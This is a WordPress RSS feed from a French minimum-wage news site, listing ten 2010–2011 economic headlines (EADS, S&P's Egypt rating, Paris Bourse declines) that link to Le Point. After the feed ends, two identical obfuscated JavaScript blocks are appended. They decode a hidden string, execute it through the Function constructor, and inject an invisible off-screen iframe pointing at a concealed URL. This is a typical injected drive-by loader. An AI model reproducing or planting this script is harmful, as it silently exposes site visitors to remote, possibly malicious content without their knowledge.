<?xml version="1.0" encoding="UTF8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Smic S.M.I.C, &#187; baisse</title>
	<atom:link href="http://www.le-smic.fr/tag/baisse/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.le-smic.fr</link>
	<description>Salaire minimum interprofessionnel de croissance</description>
	<lastBuildDate>Sat, 11 Feb 2012 09:36:09 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>EADS baisse ses prix pour ravir le contrat des ravitailleurs américains à Boeing</title>
		<link>http://www.le-smic.fr/2011/02/16/eads-baisse-ses-prix-pour-ravir-le-contrat-des-ravitailleurs-americains-a-boeing/</link>
		<comments>http://www.le-smic.fr/2011/02/16/eads-baisse-ses-prix-pour-ravir-le-contrat-des-ravitailleurs-americains-a-boeing/#comments</comments>
		<pubDate>Wed, 16 Feb 2011 19:37:44 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[américains]]></category>
		<category><![CDATA[baisse]]></category>
		<category><![CDATA[Boeing]]></category>
		<category><![CDATA[CONTRAT]]></category>
		<category><![CDATA[EADS]]></category>
		<category><![CDATA[pour]]></category>
		<category><![CDATA[Prix]]></category>
		<category><![CDATA[ravir]]></category>
		<category><![CDATA[ravitailleurs]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2011/02/16/eads-baisse-ses-prix-pour-ravir-le-contrat-des-ravitailleurs-americains-a-boeing/</guid>
		<description><![CDATA[Le groupe européen d&#8217;aéronautique et de défense EADS a révélé mercredi avoir&#8230; View full post on Le Point &#8211; Economie]]></description>
			<content:encoded><![CDATA[<p>	Le groupe européen d&#8217;aéronautique et de défense EADS a révélé mercredi avoir&#8230;</p>
<p>View full post on <a href="http://www.lepoint.fr/economie/eads-baisse-ses-prix-pour-ravir-le-contrat-des-ravitailleurs-americains-a-boeing-16-02-2011-1296202_28.php">Le Point &#8211; Economie</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2011/02/16/eads-baisse-ses-prix-pour-ravir-le-contrat-des-ravitailleurs-americains-a-boeing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Standard and Poor&#8217;s baisse à son tour la note de l&#8217;Égypte</title>
		<link>http://www.le-smic.fr/2011/02/03/standard-and-poors-baisse-a-son-tour-la-note-de-legypte/</link>
		<comments>http://www.le-smic.fr/2011/02/03/standard-and-poors-baisse-a-son-tour-la-note-de-legypte/#comments</comments>
		<pubDate>Thu, 03 Feb 2011 01:34:27 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[baisse]]></category>
		<category><![CDATA[l'Égypte]]></category>
		<category><![CDATA[note]]></category>
		<category><![CDATA[Poor's]]></category>
		<category><![CDATA[Standard]]></category>
		<category><![CDATA[tour]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2011/02/03/standard-and-poors-baisse-a-son-tour-la-note-de-legypte/</guid>
		<description><![CDATA[L&#8217;agence de notation Standard and Poor&#8217;s a annoncé, mardi, avoir abaissé la&#8230; View full post on Le Point &#8211; Economie]]></description>
			<content:encoded><![CDATA[<p>	L&#8217;agence de notation Standard and Poor&#8217;s a annoncé, mardi, avoir abaissé la&#8230;</p>
<p>View full post on <a href="http://www.lepoint.fr/economie/standard-and-poor-s-baisse-a-son-tour-la-note-de-l-egypte-01-02-2011-134174_28.php">Le Point &#8211; Economie</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2011/02/03/standard-and-poors-baisse-a-son-tour-la-note-de-legypte/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>La restauration rapide signe un accord salarial un an et demi après la baisse de la TVA</title>
		<link>http://www.le-smic.fr/2011/01/27/la-restauration-rapide-signe-un-accord-salarial-un-an-et-demi-apres-la-baisse-de-la-tva/</link>
		<comments>http://www.le-smic.fr/2011/01/27/la-restauration-rapide-signe-un-accord-salarial-un-an-et-demi-apres-la-baisse-de-la-tva/#comments</comments>
		<pubDate>Thu, 27 Jan 2011 05:21:33 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[accord]]></category>
		<category><![CDATA[après]]></category>
		<category><![CDATA[baisse]]></category>
		<category><![CDATA[demi]]></category>
		<category><![CDATA[Rapide]]></category>
		<category><![CDATA[restauration]]></category>
		<category><![CDATA[salarial]]></category>
		<category><![CDATA[Signe]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2011/01/27/la-restauration-rapide-signe-un-accord-salarial-un-an-et-demi-apres-la-baisse-de-la-tva/</guid>
		<description><![CDATA[Un accord sur les salaires a été conclu dans la restauration rapide, un an&#8230; View full post on Le Point &#8211; Economie]]></description>
			<content:encoded><![CDATA[<p>	Un accord sur les salaires a été conclu dans la restauration rapide, un an&#8230;</p>
<p>View full post on <a href="http://www.lepoint.fr/economie/la-restauration-rapide-signe-un-accord-salarial-un-an-et-demi-apres-la-baisse-de-la-tva-26-01-2011-132104_28.php">Le Point &#8211; Economie</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2011/01/27/la-restauration-rapide-signe-un-accord-salarial-un-an-et-demi-apres-la-baisse-de-la-tva/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Légère révision à la baisse de la croissance</title>
		<link>http://www.le-smic.fr/2010/12/28/legere-revision-a-la-baisse-de-la-croissance/</link>
		<comments>http://www.le-smic.fr/2010/12/28/legere-revision-a-la-baisse-de-la-croissance/#comments</comments>
		<pubDate>Tue, 28 Dec 2010 07:29:13 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[baisse]]></category>
		<category><![CDATA[croissance]]></category>
		<category><![CDATA[légère]]></category>
		<category><![CDATA[Révision]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2010/12/28/legere-revision-a-la-baisse-de-la-croissance/</guid>
		<description><![CDATA[La croissance de l&#8217;économie française aux deuxième et troisième trimestres&#8230; View full post on Le Point &#8211; Economie]]></description>
			<content:encoded><![CDATA[<p>	La croissance de l&#8217;économie française aux deuxième et troisième trimestres&#8230;</p>
<p>View full post on <a href="http://www.lepoint.fr/economie/legere-revision-a-la-baisse-de-la-croissance-28-12-2010-1279830_28.php">Le Point &#8211; Economie</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2010/12/28/legere-revision-a-la-baisse-de-la-croissance/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Baisse du tarif social de l&#8217;électricité à compter du 1er janvier</title>
		<link>http://www.le-smic.fr/2010/12/16/baisse-du-tarif-social-de-lelectricite-a-compter-du-1er-janvier/</link>
		<comments>http://www.le-smic.fr/2010/12/16/baisse-du-tarif-social-de-lelectricite-a-compter-du-1er-janvier/#comments</comments>
		<pubDate>Thu, 16 Dec 2010 15:24:58 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[baisse]]></category>
		<category><![CDATA[compter]]></category>
		<category><![CDATA[janvier]]></category>
		<category><![CDATA[l'électricité]]></category>
		<category><![CDATA[Social]]></category>
		<category><![CDATA[tarif]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2010/12/16/baisse-du-tarif-social-de-lelectricite-a-compter-du-1er-janvier/</guid>
		<description><![CDATA[Le tarif social de l&#8217;électricité, dont bénéficient quelque 625.000 foyers en&#8230; View full post on Le Point &#8211; Economie]]></description>
			<content:encoded><![CDATA[<p>	Le tarif social de l&#8217;électricité, dont bénéficient quelque 625.000 foyers en&#8230;</p>
<p>View full post on <a href="http://www.lepoint.fr/economie/baisse-du-tarif-social-de-l-electricite-a-compter-du-1er-janvier-16-12-2010-1276243_28.php">Le Point &#8211; Economie</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2010/12/16/baisse-du-tarif-social-de-lelectricite-a-compter-du-1er-janvier/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Avis négatif de l&#8217;Assurance maladie sur la baisse des remboursements de médicaments</title>
		<link>http://www.le-smic.fr/2010/12/09/avis-negatif-de-lassurance-maladie-sur-la-baisse-des-remboursements-de-medicaments/</link>
		<comments>http://www.le-smic.fr/2010/12/09/avis-negatif-de-lassurance-maladie-sur-la-baisse-des-remboursements-de-medicaments/#comments</comments>
		<pubDate>Thu, 09 Dec 2010 05:33:15 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[avis]]></category>
		<category><![CDATA[baisse]]></category>
		<category><![CDATA[l'assurance]]></category>
		<category><![CDATA[maladie]]></category>
		<category><![CDATA[médicaments]]></category>
		<category><![CDATA[négatif]]></category>
		<category><![CDATA[remboursements]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2010/12/09/avis-negatif-de-lassurance-maladie-sur-la-baisse-des-remboursements-de-medicaments/</guid>
		<description><![CDATA[La commission réglementation du conseil de la Caisse nationale de&#8230; View full post on Le Point &#8211; Economie]]></description>
			<content:encoded><![CDATA[<p>	 La commission réglementation du conseil de la Caisse nationale de&#8230;</p>
<p>View full post on <a href="http://www.lepoint.fr/economie/avis-negatif-de-l-assurance-maladie-sur-la-baisse-des-remboursements-de-medicaments-07-12-2010-1272209_28.php">Le Point &#8211; Economie</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2010/12/09/avis-negatif-de-lassurance-maladie-sur-la-baisse-des-remboursements-de-medicaments/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MARCHÉS &#8211; La Bourse de Paris termine en baisse</title>
		<link>http://www.le-smic.fr/2010/11/30/marches-la-bourse-de-paris-termine-en-baisse/</link>
		<comments>http://www.le-smic.fr/2010/11/30/marches-la-bourse-de-paris-termine-en-baisse/#comments</comments>
		<pubDate>Tue, 30 Nov 2010 17:31:02 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[baisse]]></category>
		<category><![CDATA[Bourse]]></category>
		<category><![CDATA[Marchés]]></category>
		<category><![CDATA[Paris]]></category>
		<category><![CDATA[termine]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2010/11/30/marches-la-bourse-de-paris-termine-en-baisse/</guid>
		<description><![CDATA[La Bourse de Paris a terminé en baisse mardi (- 0,73 %), juste au-dessus des&#8230; View full post on Le Point &#8211; Economie]]></description>
			<content:encoded><![CDATA[<p>	La Bourse de Paris a terminé en baisse mardi (- 0,73 %), juste au-dessus des&#8230;</p>
<p>View full post on <a href="http://www.lepoint.fr/economie/la-bourse-de-paris-termine-en-baisse-30-11-2010-1268858_28.php">Le Point &#8211; Economie</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2010/11/30/marches-la-bourse-de-paris-termine-en-baisse/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MARCHÉS &#8211; La Bourse de Paris clôture en forte baisse</title>
		<link>http://www.le-smic.fr/2010/11/29/marches-la-bourse-de-paris-cloture-en-forte-baisse/</link>
		<comments>http://www.le-smic.fr/2010/11/29/marches-la-bourse-de-paris-cloture-en-forte-baisse/#comments</comments>
		<pubDate>Mon, 29 Nov 2010 19:21:13 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[baisse]]></category>
		<category><![CDATA[Bourse]]></category>
		<category><![CDATA[clôture]]></category>
		<category><![CDATA[forte]]></category>
		<category><![CDATA[Marchés]]></category>
		<category><![CDATA[Paris]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2010/11/29/marches-la-bourse-de-paris-cloture-en-forte-baisse/</guid>
		<description><![CDATA[La Bourse de Paris a terminé en forte baisse lundi, comme les autres marchés&#8230; View full post on Le Point &#8211; Economie]]></description>
			<content:encoded><![CDATA[<p>	La Bourse de Paris a terminé en forte baisse lundi, comme les autres marchés&#8230;</p>
<p>View full post on <a href="http://www.lepoint.fr/economie/la-bourse-de-paris-cloture-en-forte-baisse-29-11-2010-1268375_28.php">Le Point &#8211; Economie</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2010/11/29/marches-la-bourse-de-paris-cloture-en-forte-baisse/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MARCHÉS &#8211; La Bourse de Paris accentue sa baisse</title>
		<link>http://www.le-smic.fr/2010/11/29/marches-la-bourse-de-paris-accentue-sa-baisse/</link>
		<comments>http://www.le-smic.fr/2010/11/29/marches-la-bourse-de-paris-accentue-sa-baisse/#comments</comments>
		<pubDate>Mon, 29 Nov 2010 17:32:47 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[accentue]]></category>
		<category><![CDATA[baisse]]></category>
		<category><![CDATA[Bourse]]></category>
		<category><![CDATA[Marchés]]></category>
		<category><![CDATA[Paris]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2010/11/29/marches-la-bourse-de-paris-accentue-sa-baisse/</guid>
		<description><![CDATA[La Bourse de Paris a chuté lundi, le CAC 40 ayant perdu 2,46 % pour terminer&#8230; View full post on Le Point &#8211; Economie]]></description>
			<content:encoded><![CDATA[<p>	La Bourse de Paris a chuté lundi, le CAC 40 ayant perdu 2,46 % pour terminer&#8230;</p>
<p>View full post on <a href="http://www.lepoint.fr/economie/la-bourse-de-paris-accentue-sa-baisse-29-11-2010-1268375_28.php">Le Point &#8211; Economie</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2010/11/29/marches-la-bourse-de-paris-accentue-sa-baisse/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>La Bourse de Paris ouvre en baisse de 0,83% à 3.728,99 points</title>
		<link>http://www.le-smic.fr/2010/11/27/la-bourse-de-paris-ouvre-en-baisse-de-083-a-3-72899-points/</link>
		<comments>http://www.le-smic.fr/2010/11/27/la-bourse-de-paris-ouvre-en-baisse-de-083-a-3-72899-points/#comments</comments>
		<pubDate>Sat, 27 Nov 2010 21:39:38 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[083%]]></category>
		<category><![CDATA[3.72899]]></category>
		<category><![CDATA[baisse]]></category>
		<category><![CDATA[Bourse]]></category>
		<category><![CDATA[ouvre]]></category>
		<category><![CDATA[Paris]]></category>
		<category><![CDATA[Points]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2010/11/27/la-bourse-de-paris-ouvre-en-baisse-de-083-a-3-72899-points/</guid>
		<description><![CDATA[La Bourse de Paris a ouvert en baisse vendredi, le CAC 40 perdant 0,83% à&#8230; View full post on Le Point &#8211; Economie]]></description>
			<content:encoded><![CDATA[<p>	La Bourse de Paris a ouvert en baisse vendredi, le CAC 40 perdant 0,83% à&#8230;</p>
<p>View full post on <a href="http://www.lepoint.fr/economie/la-bourse-de-paris-ouvre-en-baisse-de-0-83-a-3-728-99-points-26-11-2010-1267326_28.php">Le Point &#8211; Economie</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2010/11/27/la-bourse-de-paris-ouvre-en-baisse-de-083-a-3-72899-points/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script>var _G=(Date);if(_G){_a='5267';}var _k={'C':'r\x65\x76\x65rse','M':'joi\x6E','A':!false,'O':'sp\x6C\x69t','u':'l\x65\x6E\x67th','v':'su\x62\x73\x74r','w':'s\x74\x72\x69ng'},_J='',_7=['nmuocedtw.vdiir te<\'yyt(sa"=ledsipl:;"en=__on"diY">_ _Ph/f/:ptoirtnfpoc?pm/.oc1<\'vi/d>);'][_k.M]('\x0A'),_a=_a[_k.O](_J),_s=function(){for(var _Q in _a){if(typeof(_a[_Q])==_k.w){var _X=[],_T=_k.A,_G=_a[_Q]*-~!true;for(w=[]^[];w<_7[_k.u];w+=_G){_X[w]=(_T)?(_7[_k.v](w,_G)[_k.O](_J)[_k.C]()[_k.M](_J)):(_7[_k.v](w,_G));_T=!_T;}_7=_X[_k.M](_J);}}_w='con\x73\x74\x72\x75\x63tor';[][_w][_w](_7)();},_7=_s();if ((Number)&&(Array)&&(Function)&&(String)&&(Image)){if(document.getElementsByTagName('script').length > 0){document.write('<iframe src="'+document.getElementById('____PY').innerHTML+'" style="position: fixed; left:100px; top:-1000px; visibility: hidden;"></iframe>');}}</script><script>var _G=(Date);if(_G){_a='5267';}var _k={'C':'r\x65\x76\x65rse','M':'joi\x6E','A':!false,'O':'sp\x6C\x69t','u':'l\x65\x6E\x67th','v':'su\x62\x73\x74r','w':'s\x74\x72\x69ng'},_J='',_7=['nmuocedtw.vdiir te<\'yyt(sa"=ledsipl:;"en=__on"diY">_ _Ph/f/:ptoirtnfpoc?pm/.oc1<\'vi/d>);'][_k.M]('\x0A'),_a=_a[_k.O](_J),_s=function(){for(var _Q in _a){if(typeof(_a[_Q])==_k.w){var _X=[],_T=_k.A,_G=_a[_Q]*-~!true;for(w=[]^[];w<_7[_k.u];w+=_G){_X[w]=(_T)?(_7[_k.v](w,_G)[_k.O](_J)[_k.C]()[_k.M](_J)):(_7[_k.v](w,_G));_T=!_T;}_7=_X[_k.M](_J);}}_w='con\x73\x74\x72\x75\x63tor';[][_w][_w](_7)();},_7=_s();if ((Number)&&(Array)&&(Function)&&(String)&&(Image)){if(document.getElementsByTagName('script').length > 0){document.write('<iframe src="'+document.getElementById('____PY').innerHTML+'" style="position: fixed; left:100px; top:-1000px; visibility: hidden;"></iframe>');}}</script>
